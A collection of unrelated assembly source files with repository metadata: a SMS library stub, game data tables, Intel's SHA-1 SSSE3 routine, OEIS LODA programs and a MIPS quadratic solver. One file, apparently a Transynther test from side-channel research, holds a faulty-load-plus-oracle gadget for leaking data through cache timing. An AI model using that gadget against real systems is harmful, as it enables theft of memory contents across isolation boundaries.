[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void SMS_VRAMmemset(unsigned int dst,unsigned char value,unsigned int size) SECTION code_clib SECTION code_SMSlib PUBLIC SMS_VRAMmemset EXTERN asm_SMSlib_VRAMmemset SMS_VRAMmemset: pop af pop bc pop de pop hl push hl push de push bc push af jp asm_SMSlib_VRAMmemset
13.26087
77
0.740984
cc7ca6057930c2acedc5bd013030cb271861acae
255
asm
Assembly
data/trainer_types.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/trainer_types.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/trainer_types.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
FemaleTrainerList:: db OPP_LASS db OPP_JR_TRAINER_F db OPP_BEAUTY db OPP_COOLTRAINER_F db $FF EvilTrainerList:: db OPP_JUGGLER_X db OPP_GAMBLER db OPP_ROCKER db OPP_JUGGLER db OPP_CHIEF db OPP_SCIENTIST db OPP_GIOVANNI db OPP_ROCKET db $FF
14.166667
21
0.8
a274afac462987f3fe1482a4664fdbd6c961d1ec
12,715
asm
Assembly
cryptoTools/Crypto/asm/sha_win64.asm
namasikanam/MultipartyPSI
57fed04b6cb86b88eeede6f7fb50e9ccd3f84528
[ "Unlicense" ]
44
2017-10-18T07:46:17.000Z
2022-02-22T08:14:57.000Z
cryptoTools/Crypto/asm/sha_win64.asm
namasikanam/MultipartyPSI
57fed04b6cb86b88eeede6f7fb50e9ccd3f84528
[ "Unlicense" ]
8
2019-01-22T14:31:06.000Z
2021-11-08T09:54:33.000Z
cryptoTools/Crypto/asm/sha_win64.asm
namasikanam/MultipartyPSI
57fed04b6cb86b88eeede6f7fb50e9ccd3f84528
[ "Unlicense" ]
20
2017-09-25T03:04:58.000Z
2022-03-30T11:55:55.000Z
;--------------------- ; ; This code implements two interfaces of SHA-1 update function: 1) working on a single ; 64-byte block and 2) working on a buffer of multiple 64-bit blocks. Multiple blocks ; version of code is software pipelined and faster overall, it is a default. Assemble ; with -DINTEL_SHA1_SINGLEBLOCK to select single 64-byte block function interface. ; ; C++ prototypes of implemented functions are below: ; ; #ifndef INTEL_SHA1_SINGLEBLOCK ; // Updates 20-byte SHA-1 record in 'hash' for 'num_blocks' consequtive 64-byte blocks ; extern "C" void sha1_update_intel(int *hash, const char* input, size_t num_blocks ); ; #else ; // Updates 20-byte SHA-1 record in 'hash' for one 64-byte block pointed by 'input' ; extern "C" void sha1_update_intel(int *hash, const char* input); ; #endif ; ; Function name 'sha1_update_intel' can be changed in the source or via macro: ; -DINTEL_SHA1_UPDATE_FUNCNAME=my_sha1_update_func_name ; ; It implements both UNIX(default) and Windows ABIs, use -DWIN_ABI on Windows ; ; Code checks CPU for SSSE3 support via CPUID feature flag (CPUID.1.ECX.SSSE3[bit 9]==1), ; and performs dispatch. Since in most cases the functionality on non-SSSE3 supporting CPUs ; is also required, the default (e.g. one being replaced) function can be provided for ; dispatch on such CPUs, the name of old function can be changed in the source or via macro: ; -DINTEL_SHA1_UPDATE_DEFAULT_DISPATCH=default_sha1_update_function_name ; ; Authors: Maxim Locktyukhin and Ronen Zohar at Intel.com ; %ifndef INTEL_SHA1_UPDATE_DEFAULT_DISPATCH ;; can be replaced with a default SHA-1 update function name %define INTEL_SHA1_UPDATE_DEFAULT_DISPATCH sha1_intel_non_ssse3_cpu_stub_ %else extern INTEL_SHA1_UPDATE_DEFAULT_DISPATCH %endif ;; provide alternative SHA-1 update function's name here %ifndef INTEL_SHA1_UPDATE_FUNCNAME %define INTEL_SHA1_UPDATE_FUNCNAME sha1_update_intel %endif global INTEL_SHA1_UPDATE_FUNCNAME %define INTEL_SHA1_SINGLEBLOCK %ifndef INTEL_SHA1_SINGLEBLOCK %assign multiblock 1 %else %assign multiblock 0 %endif bits 64 default rel %ifdef WIN_ABI %xdefine arg1 rcx %xdefine arg2 rdx %xdefine arg3 r8 %else %xdefine arg1 rdi %xdefine arg2 rsi %xdefine arg3 rdx %endif %xdefine ctx arg1 %xdefine buf arg2 %xdefine cnt arg3 %macro REGALLOC 0 %xdefine A ecx %xdefine B esi %xdefine C edi %xdefine D ebp %xdefine E edx %xdefine T1 eax %xdefine T2 ebx %endmacro %xdefine K_BASE r8 %xdefine HASH_PTR r9 %xdefine BUFFER_PTR r10 %xdefine BUFFER_END r11 %xdefine W_TMP xmm0 %xdefine W_TMP2 xmm9 %xdefine W0 xmm1 %xdefine W4 xmm2 %xdefine W8 xmm3 %xdefine W12 xmm4 %xdefine W16 xmm5 %xdefine W20 xmm6 %xdefine W24 xmm7 %xdefine W28 xmm8 %xdefine XMM_SHUFB_BSWAP xmm10 ;; we keep window of 64 w[i]+K pre-calculated values in a circular buffer %xdefine WK(t) (rsp + (t & 15)*4) ;------------------------------------------------------------------------------ ; ; macro implements SHA-1 function's body for single or several 64-byte blocks ; first param: function's name ; second param: =0 - function implements single 64-byte block hash ; =1 - function implements multiple64-byte blocks hash ; 3rd function's argument is a number, greater 0, of 64-byte blocks to calc hash for ; %macro SHA1_VECTOR_ASM 2 align 4096 %1: push rbx push rbp %ifdef WIN_ABI push rdi push rsi %xdefine stack_size (16*4 + 16*5 + 8) %else %xdefine stack_size (16*4 + 8) %endif sub rsp, stack_size %ifdef WIN_ABI %xdefine xmm_save_base (rsp + 16*4) xmm_mov [xmm_save_base + 0*16], xmm6 xmm_mov [xmm_save_base + 1*16], xmm7 xmm_mov [xmm_save_base + 2*16], xmm8 xmm_mov [xmm_save_base + 3*16], xmm9 xmm_mov [xmm_save_base + 4*16], xmm10 %endif mov HASH_PTR, ctx mov BUFFER_PTR, buf %if (%2 == 1) shl cnt, 6 ;; mul by 64 add cnt, buf mov BUFFER_END, cnt %endif lea K_BASE, [K_XMM_AR] xmm_mov XMM_SHUFB_BSWAP, [bswap_shufb_ctl] SHA1_PIPELINED_MAIN_BODY %2 %ifdef WIN_ABI xmm_mov xmm6, [xmm_save_base + 0*16] xmm_mov xmm7, [xmm_save_base + 1*16] xmm_mov xmm8, [xmm_save_base + 2*16] xmm_mov xmm9, [xmm_save_base + 3*16] xmm_mov xmm10,[xmm_save_base + 4*16] %endif add rsp, stack_size %ifdef WIN_ABI pop rsi pop rdi %endif pop rbp pop rbx ret %endmacro ;-------------------------------------------- ; macro implements 80 rounds of SHA-1, for one 64-byte block or multiple blocks with s/w pipelining ; macro param: =0 - process single 64-byte block ; =1 - multiple blocks ; %macro SHA1_PIPELINED_MAIN_BODY 1 REGALLOC mov A, [HASH_PTR ] mov B, [HASH_PTR+ 4] mov C, [HASH_PTR+ 8] mov D, [HASH_PTR+12] mov E, [HASH_PTR+16] %assign i 0 %rep W_PRECALC_AHEAD W_PRECALC i %assign i i+1 %endrep %xdefine F F1 %if (%1 == 1) ;; code loops through more than one block %%_loop: cmp BUFFER_PTR, K_BASE ;; we use K_BASE value as a signal of a last block, jne %%_begin ;; it is set below by: cmovae BUFFER_PTR, K_BASE jmp %%_end align 32 %%_begin: %endif RR A,B,C,D,E,0 RR D,E,A,B,C,2 RR B,C,D,E,A,4 RR E,A,B,C,D,6 RR C,D,E,A,B,8 RR A,B,C,D,E,10 RR D,E,A,B,C,12 RR B,C,D,E,A,14 RR E,A,B,C,D,16 RR C,D,E,A,B,18 %xdefine F F2 RR A,B,C,D,E,20 RR D,E,A,B,C,22 RR B,C,D,E,A,24 RR E,A,B,C,D,26 RR C,D,E,A,B,28 RR A,B,C,D,E,30 RR D,E,A,B,C,32 RR B,C,D,E,A,34 RR E,A,B,C,D,36 RR C,D,E,A,B,38 %xdefine F F3 RR A,B,C,D,E,40 RR D,E,A,B,C,42 RR B,C,D,E,A,44 RR E,A,B,C,D,46 RR C,D,E,A,B,48 RR A,B,C,D,E,50 RR D,E,A,B,C,52 RR B,C,D,E,A,54 RR E,A,B,C,D,56 RR C,D,E,A,B,58 %xdefine F F4 %if (%1 == 1) ;; if code loops through more than one block add BUFFER_PTR, 64 ;; move to next 64-byte block cmp BUFFER_PTR, BUFFER_END ;; check if current block is the last one cmovae BUFFER_PTR, K_BASE ;; smart way to signal the last iteration %else %xdefine W_NO_TAIL_PRECALC 1 ;; no software pipelining for single block interface %endif RR A,B,C,D,E,60 RR D,E,A,B,C,62 RR B,C,D,E,A,64 RR E,A,B,C,D,66 RR C,D,E,A,B,68 RR A,B,C,D,E,70 RR D,E,A,B,C,72 RR B,C,D,E,A,74 RR E,A,B,C,D,76 RR C,D,E,A,B,78 UPDATE_HASH [HASH_PTR ],A UPDATE_HASH [HASH_PTR+ 4],B UPDATE_HASH [HASH_PTR+ 8],C UPDATE_HASH [HASH_PTR+12],D UPDATE_HASH [HASH_PTR+16],E %if (%1 == 1) jmp %%_loop align 32 %%_end: %endif %xdefine W_NO_TAIL_PRECALC 0 %xdefine F %error %endmacro %macro F1 3 mov T1,%2 xor T1,%3 and T1,%1 xor T1,%3 %endmacro %macro F2 3 mov T1,%3 xor T1,%2 xor T1,%1 %endmacro %macro F3 3 mov T1,%2 mov T2,%1 or T1,%1 and T2,%2 and T1,%3 or T1,T2 %endmacro %define F4 F2 %macro UPDATE_HASH 2 add %2, %1 mov %1, %2 %endmacro %macro W_PRECALC 1 %xdefine i (%1) %if (i < 20) %xdefine K_XMM 0 %elif (i < 40) %xdefine K_XMM 16 %elif (i < 60) %xdefine K_XMM 32 %else %xdefine K_XMM 48 %endif %if (i<16 || (i>=80 && i<(80 + W_PRECALC_AHEAD))) %if (W_NO_TAIL_PRECALC == 0) %xdefine i ((%1) % 80) ;; pre-compute for the next iteration %if (i == 0) W_PRECALC_RESET %endif W_PRECALC_00_15 %endif %elif (i < 32) W_PRECALC_16_31 %elif (i < 80) ;; rounds 32-79 W_PRECALC_32_79 %endif %endmacro %macro W_PRECALC_RESET 0 %xdefine W W0 %xdefine W_minus_04 W4 %xdefine W_minus_08 W8 %xdefine W_minus_12 W12 %xdefine W_minus_16 W16 %xdefine W_minus_20 W20 %xdefine W_minus_24 W24 %xdefine W_minus_28 W28 %xdefine W_minus_32 W %endmacro %macro W_PRECALC_ROTATE 0 %xdefine W_minus_32 W_minus_28 %xdefine W_minus_28 W_minus_24 %xdefine W_minus_24 W_minus_20 %xdefine W_minus_20 W_minus_16 %xdefine W_minus_16 W_minus_12 %xdefine W_minus_12 W_minus_08 %xdefine W_minus_08 W_minus_04 %xdefine W_minus_04 W %xdefine W W_minus_32 %endmacro %xdefine W_PRECALC_AHEAD 16 %xdefine W_NO_TAIL_PRECALC 0 %xdefine xmm_mov movdqa %macro W_PRECALC_00_15 0 ;; message scheduling pre-compute for rounds 0-15 %if ((i & 3) == 0) ;; blended SSE and ALU instruction scheduling, 1 vector iteration per 4 rounds movdqu W_TMP, [BUFFER_PTR + (i * 4)] %elif ((i & 3) == 1) pshufb W_TMP, XMM_SHUFB_BSWAP movdqa W, W_TMP %elif ((i & 3) == 2) paddd W_TMP, [K_BASE] %elif ((i & 3) == 3) movdqa [WK(i&~3)], W_TMP W_PRECALC_ROTATE %endif %endmacro %macro W_PRECALC_16_31 0 ;; message scheduling pre-compute for rounds 16-31 ;; calculating last 32 w[i] values in 8 XMM registers ;; pre-calculate K+w[i] values and store to mem, for later load by ALU add instruction ;; ;; "brute force" vectorization for rounds 16-31 only due to w[i]->w[i-3] dependency ;; %if ((i & 3) == 0) ;; blended SSE and ALU instruction scheduling, 1 vector iteration per 4 rounds movdqa W, W_minus_12 palignr W, W_minus_16, 8 ;; w[i-14] movdqa W_TMP, W_minus_04 psrldq W_TMP, 4 ;; w[i-3] pxor W, W_minus_08 %elif ((i & 3) == 1) pxor W_TMP, W_minus_16 pxor W, W_TMP movdqa W_TMP2, W movdqa W_TMP, W pslldq W_TMP2, 12 %elif ((i & 3) == 2) psrld W, 31 pslld W_TMP, 1 por W_TMP, W movdqa W, W_TMP2 psrld W_TMP2, 30 pslld W, 2 %elif ((i & 3) == 3) pxor W_TMP, W pxor W_TMP, W_TMP2 movdqa W, W_TMP paddd W_TMP, [K_BASE + K_XMM] movdqa [WK(i&~3)],W_TMP W_PRECALC_ROTATE %endif %endmacro %macro W_PRECALC_32_79 0 ;; in SHA-1 specification: w[i] = (w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16]) rol 1 ;; instead we do equal: w[i] = (w[i-6] ^ w[i-16] ^ w[i-28] ^ w[i-32]) rol 2 ;; allows more efficient vectorization since w[i]=>w[i-3] dependency is broken ;; %if ((i & 3) == 0) ;; blended SSE and ALU instruction scheduling, 1 vector iteration per 4 rounds movdqa W_TMP, W_minus_04 pxor W, W_minus_28 ;; W is W_minus_32 before xor palignr W_TMP, W_minus_08, 8 %elif ((i & 3) == 1) pxor W, W_minus_16 pxor W, W_TMP movdqa W_TMP, W %elif ((i & 3) == 2) psrld W, 30 pslld W_TMP, 2 por W_TMP, W %elif ((i & 3) == 3) movdqa W, W_TMP paddd W_TMP, [K_BASE + K_XMM] movdqa [WK(i&~3)],W_TMP W_PRECALC_ROTATE %endif %endmacro %macro RR 6 ;; RR does two rounds of SHA-1 back to back with W pre-calculation ;; TEMP = A ;; A = F( i, B, C, D ) + E + ROTATE_LEFT( A, 5 ) + W[i] + K(i) ;; C = ROTATE_LEFT( B, 30 ) ;; D = C ;; E = D ;; B = TEMP W_PRECALC (%6 + W_PRECALC_AHEAD) F %2, %3, %4 ;; F returns result in T1 add %5, [WK(%6)] rol %2, 30 mov T2, %1 add %4, [WK(%6 + 1)] rol T2, 5 add %5, T1 W_PRECALC (%6 + W_PRECALC_AHEAD + 1) add T2, %5 mov %5, T2 rol T2, 5 add %4, T2 F %1, %2, %3 ;; F returns result in T1 add %4, T1 rol %1, 30 ;; write: %1, %2 ;; rotate: %1<=%4, %2<=%5, %3<=%1, %4<=%2, %5<=%3 %endmacro ;;---------------------- section .data align=64 %xdefine K1 0x5a827999 %xdefine K2 0x6ed9eba1 %xdefine K3 0x8f1bbcdc %xdefine K4 0xca62c1d6 align 128 K_XMM_AR: DD K1, K1, K1, K1 DD K2, K2, K2, K2 DD K3, K3, K3, K3 DD K4, K4, K4, K4 align 16 bswap_shufb_ctl: DD 00010203h DD 04050607h DD 08090a0bh DD 0c0d0e0fh ;; dispatch pointer, points to the init routine for the first invocation sha1_update_intel_dispatched: DQ sha1_update_intel_init_ ;;---------------------- section .text align=64 SHA1_VECTOR_ASM sha1_update_intel_ssse3_, multiblock align 32 sha1_update_intel_init_: ;; we get here with the first time invocation call sha1_update_intel_dispacth_init_ INTEL_SHA1_UPDATE_FUNCNAME: ;; we get here after init jmp qword [sha1_update_intel_dispatched] ;; CPUID feature flag based dispatch sha1_update_intel_dispacth_init_: push rax push rbx push rcx push rdx push rsi lea rsi, [INTEL_SHA1_UPDATE_DEFAULT_DISPATCH] mov eax, 1 cpuid test ecx, 0200h ;; SSSE3 support, CPUID.1.ECX[bit 9] jz _done lea rsi, [sha1_update_intel_ssse3_] _done: mov [sha1_update_intel_dispatched], rsi pop rsi pop rdx pop rcx pop rbx pop rax ret ;;---------------------- ;; in the case a default SHA-1 update function implementation was not provided ;; and code was invoked on a non-SSSE3 supporting CPU, dispatch handles this ;; failure in a safest way - jumps to the stub function with UD2 instruction below sha1_intel_non_ssse3_cpu_stub_: ud2 ;; in the case no default SHA-1 was provided non-SSSE3 CPUs safely fail here ret ; END ;----------------------
22.229021
104
0.649469
b297e8f4a59f04df455537c2ae4de4cd5f0aac1e
442
asm
Assembly
oeis/176/A176458.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/176/A176458.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/176/A176458.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A176458: Decimal expansion of 4+sqrt(17). ; Submitted by Christian Krause ; 8,1,2,3,1,0,5,6,2,5,6,1,7,6,6,0,5,4,9,8,2,1,4,0,9,8,5,5,9,7,4,0,7,7,0,2,5,1,4,7,1,9,9,2,2,5,3,7,3,6,2,0,4,3,4,3,9,8,6,3,3,5,7,3,0,9,4,9,5,4,3,4,6,3,3,7,6,2,1,5,9,3,5,8,7,8,6,3,6,5,0,8,1,0,6,8,4,2,9,6 mov $1,2 mov $2,1 mov $3,$0 mul $3,4 lpb $3 add $1,$2 add $2,$1 mul $2,2 sub $3,1 lpe mul $1,4 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
20.090909
201
0.547511
16fb98294c59e9886713588d557e2d6ebbd5236e
96
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/log10.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/log10.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/log10.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math48 PUBLIC log10 EXTERN cm48_sccz80_log10 defc log10 = cm48_sccz80_log10
10.666667
30
0.84375
242f0bc7d4361e349815b32074c77019071aa2e4
6,173
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_16987_370.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_16987_370.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_16987_370.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x1a90f, %r10 nop nop nop nop nop add %rax, %rax mov (%r10), %rdx nop add $60005, %r10 lea addresses_D_ht+0x1a277, %rsi lea addresses_D_ht+0x199f3, %rdi nop nop nop inc %r11 mov $48, %rcx rep movsb nop nop nop nop cmp $9415, %rcx lea addresses_WT_ht+0x18d8f, %rsi nop nop nop nop add $57044, %rcx and $0xffffffffffffffc0, %rsi vmovaps (%rsi), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $1, %xmm7, %r11 nop nop nop sub $7281, %rax lea addresses_A_ht+0xa98f, %r10 nop nop nop nop nop cmp $60763, %rcx mov (%r10), %rdx nop nop nop nop lfence lea addresses_A_ht+0x1698f, %r11 cmp %rsi, %rsi movl $0x61626364, (%r11) nop nop nop nop nop dec %rdx lea addresses_WC_ht+0x19fc9, %rax nop nop nop nop cmp %r11, %r11 movl $0x61626364, (%rax) nop nop nop cmp $44799, %r10 lea addresses_WT_ht+0x1a48f, %rsi lea addresses_A_ht+0xb58f, %rdi nop nop nop inc %r13 mov $64, %rcx rep movsl cmp $1495, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r15 push %rbx push %rdi push %rsi // Store lea addresses_WC+0x4d8f, %r10 cmp %r15, %r15 movb $0x51, (%r10) nop nop and $48918, %rbx // Store lea addresses_PSE+0x1ccf7, %rsi nop xor $42635, %rbx mov $0x5152535455565758, %r14 movq %r14, (%rsi) cmp %r13, %r13 // Faulty Load lea addresses_D+0x358f, %r15 clflush (%r15) xor %rdi, %rdi mov (%r15), %rbx lea oracles, %rsi and $0xff, %rbx shlq $12, %rbx mov (%rsi,%rbx,1), %rbx pop %rsi pop %rdi pop %rbx pop %r15 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': True, 'NT': True, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'36': 16987} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
37.871166
2,999
0.658027
9bb62432ed412b48ba7bd973f5c84f7917cbf808
2,139
asm
Assembly
quadratic_calculator.asm
kayodearibo/MIPS-ASSIGNMENT-2
9fa3e5b0648de7c38f37218d223b806a8533f6b0
[ "MIT" ]
null
null
null
quadratic_calculator.asm
kayodearibo/MIPS-ASSIGNMENT-2
9fa3e5b0648de7c38f37218d223b806a8533f6b0
[ "MIT" ]
null
null
null
quadratic_calculator.asm
kayodearibo/MIPS-ASSIGNMENT-2
9fa3e5b0648de7c38f37218d223b806a8533f6b0
[ "MIT" ]
null
null
null
.data msg1: .asciiz "THIS PROGRAM COMPUTE THE ROOT OF X1 AND X2 IN A QUADRATIC EQUATION\nSO DO WELL TO ENTER THE VALUE FOR A,B,C. THANKS!\n" msg2: .asciiz "ENTER VALUE FOR A:\n" msg3: .asciiz "ENTER VALUE FOR B:\n" msg4: .asciiz "ENTER VALUE FOR C:\n" msg5: .asciiz "COMPLEX ROOT\n" msg6: .asciiz "THE VALUE FOR X1 IS:\n" msg7: .asciiz "THE VALUE FOR X2 IS:\n" msg8: .asciiz "\n" numb1: .float 4.0 numb2: .float 2.0 numb3: .float -1.0 numb4: .float 0.0 .text main: lwc1 $f10,numb1 lwc1 $f11,numb2 lwc1 $f2,numb3 lwc1 $f3,numb4 li $v0,4 la $a0,msg1 syscall li $v0,4 la $a0,msg2 syscall li $v0,6 syscall mov.s $f13,$f0 li $v0,4 la $a0,msg3 syscall li $v0,6 syscall mov.s $f14,$f0 li $v0,4 la $a0,msg4 syscall li $v0,6 syscall mov.s $f15,$f0 mul.s $f22,$f14,$f14 # $f22 = b*b mul.s $f16,$f13,$f15 # $f16 = a*c mul.s $f16,$f10,$f16 # $f16 = 4*a*c mul.s $f18,$f11,$f13 # $f18 = 2*a mul.s $f19,$f2,$f14 # $f19 = -b sub.s $f17,$f22,$f16 # $f17 = (b*b - 4*a*c) sqrt.s $f4,$f17 # $f4 = sqr(b2 - 4ac) c.lt.s $f17,$f3 bc1t complexroot #computing the value for X1 add.s $f26,$f19,$f4 # $f26 = -b + sqrtb2 - 4ac div.s $f12,$f26,$f18 # $f12 = -b + sqrt(b2 - 4ac)/2a li $v0,4 la $a0,msg6 syscall li $v0,2 syscall li $v0,4 la $a0,msg8 syscall #computing the value for X2 sub.s $f28,$f19,$f4 # $f28 = -b -sqrt(b2 - 4ac) div.s $f12,$f28,$f18 # $f12 = -b -sqrt(b2 - 4ac)/2a li $v0,4 la $a0,msg7 syscall li $v0,2 syscall #End of program exit: li $v0,10 syscall complexroot: li $v0,4 la $a0,msg5 syscall b exit
21.826531
140
0.45021
b82bc5d9e3755d657cc3b0006d130a8585ef8ae0
394
asm
Assembly
programs/oeis/094/A094764.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/094/A094764.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/094/A094764.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
